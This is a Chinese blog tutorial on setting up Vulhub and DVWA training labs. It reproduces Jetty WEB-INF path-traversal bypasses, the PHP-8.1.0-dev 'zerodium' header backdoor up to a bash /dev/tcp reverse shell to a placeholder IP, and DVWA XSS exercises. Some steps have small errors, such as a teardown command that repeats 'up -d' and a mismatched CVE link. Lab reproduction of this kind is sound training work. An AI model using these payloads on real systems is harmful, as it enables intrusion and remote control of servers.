当前位置: 首页 > news >正文

VulhubDVWA靶场环境搭建及使用

文章目录

  • 1. 创建虚拟机
  • 2. Vulhub靶场
    • 2.1 Vulhub漏洞靶场作用
    • 2.2 Vulhub靶场搭建
      • 2.2.1 搭建注意事项
    • 2.3 Jetty系列漏洞
      • 2.3.1 CVE-2021-28164
      • 2.3.2 CVE-2021-34429
    • 2.4 PHP-8.1.0-dev后门命令执行漏洞
  • 3.DVWA靶场
    • 3.1 DVWA靶场搭建
    • 3.2 DVWA介绍
      • 3.2.1 DVWA的安全级别
      • 3.2.2 DVWA攻击模块
    • 3.3 XSS漏洞
      • 3.3.1 XSS是什么
      • 3.3.2反射型XSS复现
      • 3.3.3 存储型XSS复现
      • 3.3.4 dom型XSS复现

1. 创建虚拟机

虚拟机:内存8G、硬盘50GB、CPU4核

这个配置可以满足大多数对于靶场的要求

操作系统推荐Ubuntu 20.04 LTS 或更高版本,其他系统也可比如Kali 都行

2. Vulhub靶场

2.1 Vulhub漏洞靶场作用

Vulhub靶场作用:Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单

2.2 Vulhub靶场搭建

  1. 安装python:
curl -s https://bootstrap.pypa.io/get-pip.py | python3
  1. 安装最新版docker:
curl -s https://get.docker.com/ | sh
  1. 启动docker服务
systemctl start docker

4、下载项目

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zipunzip vulhub-master.zipcd vulhub-master
  1. 进入到某个漏洞/环境的目录
cd flask/ssti
  1. 自动化编辑环境
docker compose build
  1. 启动整个环境
docker compose up -d
  1. 漏洞环境使用完成后,删除环境
docker compose up -d

2.2.1 搭建注意事项

在步骤7中启动整个环境,可能会出现问题,提示

  1. 这个需要配置docker的镜像加速器
sudo vim /etc/docker/daemon.json{"registry-mirrors": ["https://xxxx.mirror.aliyuncs.com"]
}

  1. 配置完成后重启docker
sudo systemctl daemon-reloadsudo systemctl restart docker
  1. 再次启动整个环境
docker compose up -d 
  1. 假如还是执行失败,可以手动拉取镜像
docker pull vulhub/jetty:9.4.40

2.3 Jetty系列漏洞

Jetty是轻量级的Java Web服务器和 Servlet容器,主要用于部署和运行Java web应用,Jetty相比较于Tomact特点

Jetty特点:轻量级、模块化的架构,启动速度快(适合频繁重启的微服务),资源占用低,适用于微服务、嵌入式、云原生。

Tomcat特点:重量级、功能全面的架构,启动速度较慢,资源占用较高,适用于传统企业级应用

2.3.1 CVE-2021-28164

  1. 环境地址
https://github.com/vulhub/vulhub/tree/master/jetty/CVE-2021-28164
  1. 启动docker
cd /vulhub/jetty/CVE-2021-28164docker-compose up -d

然后访问 http://x.x.x.x:8080,若出现这个界面说明搭建成功

在这里插入图片描述

使用 curl -I http://x.x.x.x:8080 可以看到Jetty版本

2.3.2 CVE-2021-34429

Jetty 在9.4.40后修复了因为 ‘%2e’ 导致的敏感信息泄露漏洞,但是这个修复是不完全的,可以通过这几种方式绕过

  1. unicode形式URL编码:/%u002e/WEB-INF/web.xml
  2. \0组合.导致的绕过:/.%00/WEB-INF/web.xml
  3. \0组合..导致的绕过:/a/b/..%00/WEB-INF/web.xml

这个漏洞是CVE-2021-28164和CVE-2021-28169的新的绕过方式。

影响版本:

9.4.37 ≤ Eclipse Jetty ≤ 9.4.42

10.0.1 ≤ Eclipse Jetty ≤ 10.0.5

11.0.1 ≤ Eclipse Jetty ≤ 11.0.5

环境地址

https://github.com/vulhub/vulhub/tree/master/jetty/CVE-2021-28164

启动docker

cd /vulhub/jetty/CVE-2021-34429docker-compose up -d

然后访问 http://x.x.x.x:8080,若出现这个界面说明搭建成功

在这里插入图片描述

使用 curl -I http://x.x.x.x:8080 可以看到Jetty版本

使用Burpsuite发送GET请求 /%u002e/WEB-INF/web.xml即可读取到web.xml文件
在这里插入图片描述

最后删除环境

docker compose down -v

参考文章:https://cloud.tencent.com/developer/article/1865616

2.4 PHP-8.1.0-dev后门命令执行漏洞

参考文章:PHP-8.1.0-dev 后门命令执行漏洞复现

复现流程概述:

  1. 进入Vulhub靶场该漏洞环境目录下: cd …/vulhub-master/php/8.1-backdoor

  2. 启动漏洞环境:docker-compose up -d

  3. 启动完成后在浏览器访问以下地址出现Hello world表示搭建成功:http://x.x.x.x:8080/

  4. 访问漏洞页面,然后打开Burpsuite抓取首页的包并发送到Repeater(重放)模块

  5. 在数据包中添加User-Agentt: 字段并在后面添加上测试漏洞poc:user-agentt: zerodiumvar_dump(3*7);

  6. 将字段后面poc修改为zerodiumsystem(“cat /etc/passwd”);读取文件

  7. 修改payload执行反弹shell,打开一台kali-linux并设置监听,将poc修改为以下反弹shell的poc: kali 中 设置监听:

    a. 先开放6678端口b. 执行nc -lvvp 6678c. 执行zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/x.x.x.x/6678 0>&1'");
    
  1. 执行上述步骤1-3,漏洞环境搭建成功验证http://x.x.x.x:8080/

在这里插入图片描述

  1. 步骤4:访问漏洞页面,然后打开Burpsuite抓取首页的包并发送到Repeater(重放)模块
    在这里插入图片描述

  2. 步骤5:在数据包中添加User-Agentt: 字段并在后面添加上测试漏洞poc:

user-agentt: zerodiumvar_dump(3*7);

在这里插入图片描述

  1. 步骤6:将字段后面poc修改为zerodiumsystem(“cat /etc/passwd”);读取文件
    在这里插入图片描述

  2. 步骤7:kali-linux 中 设置监听:1.先开放6678端口 2.nc -lvvp 6678
    在这里插入图片描述

修改payload执行反弹shell,打开一台kali-linux并设置监听,将poc修改为以下反弹shell的poc:

zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/x.x.x.x/6678 0>&1'");

在这里插入图片描述

查看反弹Shell是否成功
在这里插入图片描述

3.DVWA靶场

3.1 DVWA靶场搭建

  1. 更新系统:
sudo apt update && sudo apt upgrade -y
  1. 安装LAMP环境:

安装Apache:

sudo apt install apache2 -y

启动并启用Apache服务:

sudo systemctl start apache2
sudo systemctl enable apache2
  1. 安装MYSQL
sudo apt install mysql-server -y

启动并启用MySQL服务:

sudo systemctl start mysql
sudo systemctl enable mysql

运行安全脚本以保护MySQL安装:

sudo mysql_secure_installation

按照提示设置root密码并回答相关问题

  1. 安装PHP
sudo apt install php libapache2-mod-php php-mysql -y

安装完成后,重启Apache:

sudo systemctl restart apache2
  1. 下载DVWA

下载DVWA

cd /var/www/html
sudo git clone https://github.com/digininja/DVWA.git

设置权限

sudo chown -R www-data:www-data /var/www/html/DVWA
sudo chmod -R 755 /var/www/html/DVWA
  1. 配置DVWA

复制DVWA配置文件:

cd /var/www/html/DVWA/config
sudo cp config.inc.php.dist config.inc.php

编辑配置文件:

sudo nano config.inc.php

找到以下行并进行修改:

$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'your_mysql_root_password';

保存并退出。

保存文件:ctrl+O

退出nano:ctrl+X

  1. 创建DVWA数据库

登录MySQL:

sudo mysql -u root -p

创建DVWA数据库和用户:

CREATE DATABASE dvwa;
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'dvwa';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost';
FLUSH PRIVILEGES;
exit;
  1. 配置Apache

确保Apache已启用必要的模块:

sudo a2enmod rewrite
sudo systemctl restart apache2
  1. 访问DVWA

http://x.x.x.x/DVWA/setup.php

点击“Create / Reset Database”按钮以初始化数据库。

  1. 登录DVWA

默认登录凭证:

用户名:admin

密码:password

3.2 DVWA介绍

3.2.1 DVWA的安全级别

手动设置DVWA靶机源码的安全级别:

在这里插入图片描述

  1. LOW级别:基本没什么防护措施
  2. Medium级别:难度稍微提升一点,加入一些基础的防护措施
  3. High级别:难度提升很多,防护措施非常严格,漏洞利用难度大幅提升
  4. Impossible级别:最高难度,防护措施几乎完美,漏洞被彻底封死

3.2.2 DVWA攻击模块

  1. Brute Force (暴力破解):针对用户登录模块,对用户名、口令的暴力破解。
  2. Command Injection (命令行注入):通过特殊方法,在一个关联到命令行的文本中加入非法命令,实现命令行注入。
  3. CSRF (跨站请求伪造):利用简单身份认证无法确认请求是否为客户本意的漏洞,利用一些方法使受害者的浏览器发出非其本意的请求,而由于受害者的客户端信息仍然有效,服务器认为这个请求也有效,达成攻击目的。
  4. File Inclusion (文件包含漏洞):开发人员在开发PHP等脚本语言应用程序时,将函数写在单个其他文件中,需要使用是只需要调用这个文件就可以使用函数。为了灵活性,有些被包含的文件被设置为变量,以进行动态调用,产生了文件包含漏洞。通过改变变量,使程序包含另一个文件,从而调用一个意料之外的函数,达成攻击目的。
  5. File Upload (文件上传漏洞):服务器未检查用户上传的文件内容,导致意外执行攻击者上传的攻击脚本或WebShell,达成攻击目的。
  6. Insecure CAPTCHA (不安全的验证码):实质上是验证码验证逻辑存在漏洞,可能导致非法绕过。
  7. SQL Injection (SQL 注入):通过SQL语法的相关技巧,进行恶意语句的注入,通过回显、报错等途径获取其他数据,从而能够探查数据库信息。
  8. SQL Injection Blind(SQL 盲注):与普通SQL注入相区分,一般没有回显和错误显示(所以称为Blind),需要通过时间等其他手段进行信息探查。
  9. Weak Session IDs (弱会话ID):与HTTP协议拓展的会话控制(Cookie等)相关。如果可以用某种方法得知目标用户的Session ID,就可以冒充目标用户的身份与服务器通信。
  10. XSS(DOM) (跨站脚本攻击(DOM型)):利用DOM (文档对象模型),使用特定方式将恶意代码注入到网页中,使用户加载执行,实现用户会话信息泄露或执行高权限指令等攻击目的。
  11. XSS (Reflected) (反射型XSS):设计一个包含JS代码的请求,随后这些代码被反射到提出请求的用户,从而实现跨站脚本攻击。
  12. XSS (Stored) (存储型XSS):攻击者提前上传恶意代码(通过文本等)到服务器,然后通过某种方式,在网页中的这段代码被执行并对所有访问这个页面的用户造成危害。
  13. CSP Bypass (内容安全策略绕过):使用某些特殊的技巧,使非法代码等恶意内容绕过服务器的内容审查策略,并上传到服务器
  14. JavaScript (JavaScript 攻击):通过JavaScript审计等手段,修改前端代码以实现攻击目的

3.3 XSS漏洞

3.3.1 XSS是什么

XSS是跨站脚本攻击,攻击者通过网站输入框输入payload(脚本代码),当用户访问网页时,恶意payload自动加载并执行,以达到攻击者目的(窃取cookie、恶意传播、钓鱼欺骗等),这是为了与HTML中的CSS作区分所以称为XSS。

XSS分3类:

  1. 反射性
  2. 存储型
  3. dom型

3.3.2反射型XSS复现

反射性XSS特点:只会执行一次

主要存在于攻击者将payload附加到url参数中,服务端没有经过严格的过滤输出到用户浏览器中,导致恶意代码被执行。

DVWA靶场复现:

先设置DVWa靶场的难度为 low

输入测试发现只输出了alert(1)

在这里插入图片描述
在这里插入图片描述

一般攻击者可以直接通过一些方式让受害者点击一个链接,然后这个链接就会拿到受害者在这个页面的cookie,获取到当前页面的cookie后,就可以借用这个cookie以用户的名义去登录网页

3.3.3 存储型XSS复现

存储型XSS特点:持久型

主要存在于攻击者将恶意脚本存储到服务器数据库中,当用户访问包含恶意相关数据的页面时,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据

分析一下:

存储型的XSS漏洞威胁更大,即不需要用户做出点击链接的动作,直接写死在数据库中,当用户进入含有存储型XSS漏洞的页面时,根据攻击者制定的策略,来截获受害者的个人信息

DVWA靶场复现:

攻击者登录到这个页面后,在类似于留言板的地方,注入XSS攻击代码,这样所有的其他用户只要点击到这个位置就会执行XSS的代码


在这里插入图片描述

然后可以使用另一个浏览器登录另一个用户的账号,一点再次点击到XSS(Stored),就会弹出窗口,这样的攻击方式,简单高效,不用通过一些诱导用户点击某个链接,而是直接中招

3.3.4 dom型XSS复现

dom型特点,通过JavaScript操作document,实现dom树的重构

DOM型XSS最大的特点就是前端通过JS来渲染完成数据的交互,达到插入数据造成XSS脚本攻击,且不经过服务器,所以即使抓包也无法抓取到这个的流量,而反射性与存储型XSS都需要与服务器交互,这个就是DOM型最大的特点。

靶场复现:

在这里插入图片描述
在这里插入图片描述

http://www.dtcms.com/a/294943.html

相关文章:

  • 【Mysql】 Mysql zip解压版 Win11 安装备忘
  • Neo4j 框架 初步简单使用(基础增删改查)
  • OMS监考系统V2版本无法启动问题解决办法
  • [每日随题15] 前缀和 - 拓扑排序 - 树状数组
  • 海信IP501H-IP502h_GK6323处理器-原机安卓9专用-TTL线刷烧录可救砖
  • 【Java学习|黑马笔记|Day21】IO流|缓冲流,转换流,序列化流,反序列化流,打印流,解压缩流,常用工具包相关用法及练习
  • C++面试7——继承与多态
  • Xorg占用显卡内存问题和编译opencv GPU版本
  • InnoDB的redo log和 undo log
  • 智能小e-集成配置
  • Nestjs框架: 基于Prisma的多租户功能集成和优化
  • 使用抓取 API 可靠高效地提取亚马逊 (Amazon)数据
  • CCD工业相机系统设计——基于FPGA设计
  • SQL执行顺序
  • LLM 隐藏层特征增强技术
  • 同步型降压转换器的“同步”是什么意思?
  • Vite 7.0 引入的几个重要新 API 详解
  • 三极管与场效应管的对比
  • Python脚本服务器迁移至K8S集群部署
  • k8s中的configmap存储
  • JavaWeb-Servlet
  • 内外网互传文件 安全、可控、便捷的跨网数据交换
  • 服务器版本信息泄露-iis返回包暴露服务器版本信息
  • Node.js 倒计时图片服务部署与 Nginx 反向代理实战总结
  • RCE随笔-奇技淫巧(2)
  • Android热修复实现方案深度分析
  • AI面试如何提升物流行业招聘效率?实战案例解析
  • ESP32-S3学习笔记<5>:SPI的应用
  • JDK 介绍与使用指南
  • CMake进阶:检查头文件存在性(check_include_file 和 check_include_fileCXX)